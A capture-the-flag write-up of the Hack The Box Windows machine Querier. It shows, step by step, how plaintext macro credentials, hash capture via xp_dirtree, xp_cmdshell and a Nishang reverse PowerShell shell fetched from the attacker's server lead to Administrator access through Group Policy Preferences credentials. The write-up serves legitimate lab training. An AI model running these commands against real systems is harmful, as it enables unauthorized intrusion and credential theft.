In my opinion, Querier is a great box. By following the steps below we will learn a bit about Windows (a widely used operating system) pentesting. The challenge begins with a public SMB; this is our first challenge level. Next, we will work with SQL Server and we will need to use a special SQL query to get the user hash. Finally, we will take advantage of an insecure configuration in Group Policy Preferences in Windows to escalate to administrator privileges.
The first thing to do is check the connection to the machine with a
ping command. We need a stable connection with the box to make
sure that we will not lose all of our progress.
Figure 1. IP Querier
Figure 2. Doing ping
Next, we can use
nmap to find open ports in the machine. A simple port
scanning is enough for our purposes.
nmap -Pn 10.10.10.125
Figure 3. Port scanning
We see 4 open ports (
1433) and among these, we
found two interesting services,
microsoft-ds (SMB) in port
ms-sql-s in port
1433. When we try to access via SMB, it shows us a
shared folder called Report with a .xlsm file, the extension
indicating a Microsoft Excel Document.
Figure 4. Public share
Then we open the specified file with Microsoft Excel and a warning message appears telling us that the file contains a suspicious macro.
Figure 5. Macro alert
We can explore the macro code in Microsoft Excel using the option Visual Basic in the Developer Tab. The macro has an insecure configuration of a connection to SQL Server, the credentials are in plain text and now we can use them. It’s a good example of something that we should never do.
Figure 6. Macro code
Now we can connect to the other interesting service that we found:
ms-sql-s. We use the module
mssqlclient.py of Impacket to do
queries to the server interactively using the credentials found in the
last step, for example a query to know the version of SQL Server like
the first testing query.
mssqlclient.py -windows-auth QUERIER/reporting:PcwTWTHRwryjc\[email protected]
Figure 7. Mssql conection
We will use this service to gain system access, as a user without
privileges. We mount an SMB server in our machine to capture the
authentication of any Windows user, in this case, the user that executes
ms-sql-s. We tell it to enter our share to capture its
NTLMv2 hash with an
xp_dirtree query. This stored procedure of SQL
Server will access our SMB share to display a list of every folder,
every subfolder, and every file.
> EXEC master.sys.xp_dirtree '\\10.10.15.1\querier';
smbserver.py -smb2support querier Documents/
Figure 8. User hash
Then we copy the hash to a plain text file and use John the Ripper
with the dictionary
rockyou.txt to crack the captured hash. We need to
specify the correct hash format because John the Ripper occasionally
recognizes your hashes as the wrong type. This is inevitable because
some hashes look identical, in this case the correct format for
$ john.exe --wordlist=rockyou.txt --format-netntlmv2 \\ "\Users\dette\HackTheBox\Querier\hash_mssql-svc.txt"
Figure 9. Runnnig John
Now we can connect to SQL Server as user
mssql-svc. We try to
execute the command
whoami, however, it responds telling us that
xp_cmdshell is blocked. Since we are the service
administrator, we can enable it using a few queries.
python mssqlclient.py -windows-auth QUERIER/mssql-svc:[email protected]
Figure 10. xp_cmdshell disabled
> EXEC sp_configure 'show advanced options', 1; > EXEC sp_configure reconfigure; > EXEC sp_configure 'xp_cmdshell', 1; > EXEC sp_configure reconfigure; > EXEC master.dbo.xp_cmdshell 'whoami';
Figure 11. xp_cmdshell enabled
Because we can execute commands, reading the user flag is now possible.
Figure 12. User flag
This method of executing commands may be an inconvenient way to escalate
privileges, so we will upload a shell to the server. To do this we will
use the script
Nishang framework. Before
uploading the shell we add our IP address and some free port to make the
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.1 -Port 30000
Figure 13. Invoke-PowerShellTcp code
Then it is necessary to start an HTTP server in our machine. We can do it with Python3.
python -m http.server
Figure 14. Http server
To make the server download our file, we can use Powershell as follows.
> EXEC master.dbo.xp_cmdshell 'powershell.exe \\ Invoke-WebRequest http://10.10.15.1:8000/Invoke-PowerShellTcp.ps1 \\ -OutFile c:\Users\mssql-svc\Music\Invoke-PowerShellTcp.ps1';
Now to get an interactive shell we set our machine to listen
port 30000 and execute the script in the HTB machine.
nc -lvp 30000
> EXEC master.dbo.xp_cmdshell 'powershell.exe \\ c:\Users\mssql-svc\Music\Invoke-PowerShellTcp.ps1';
Figure 15. Interactive shell
At this point we use the module
PowerUp.ps1 from the
collection to scan the system to find a way to escalate privileges. We
can use the same method as in the last step. We upload the file to the
server with Python3.
To execute the script we need to import it first, next we can run all
checks with the command
Invoke-AllChecks. It will output any
identifiable vulnerabilities along with specifications for any abuse
> Import-Module C:\Users\mssql-svc\Music\PowerUp.ps1 > Invoke-AllChecks
Figure 16. Running PowerUp.ps1
We can see the Administrator credentials in plain text in the script output. The script took advantage of an insecure configuration in Group Policy Preferences of Windows; it saves credentials with weak encryptions. It’s time to prove these and to obtain the root flag.
Figure 17. Root credentials
Finally, we can get an interactive shell as Administrator with
Impacket. With this, we can read the root flag.
python psexec.py QUERIER/Administrator:[email protected]
Figure 18. Running psexec.py
Another way to get the root flag could be to find the file
using a native tool like
findstr and decrypt the password using the
gpp-decrypt tool of Kali Linux.
Figure 19. Encrypted password
Figure 20. Decrypted password
In this challenge, we saw some insecure configurations such as saved credentials in plain text in code. We also learned how to start an SMB server in our machine to capture hashes and finally, we learned and used some important tools for pentesting in Windows like Impacket, Nishang, and PowerSploit.
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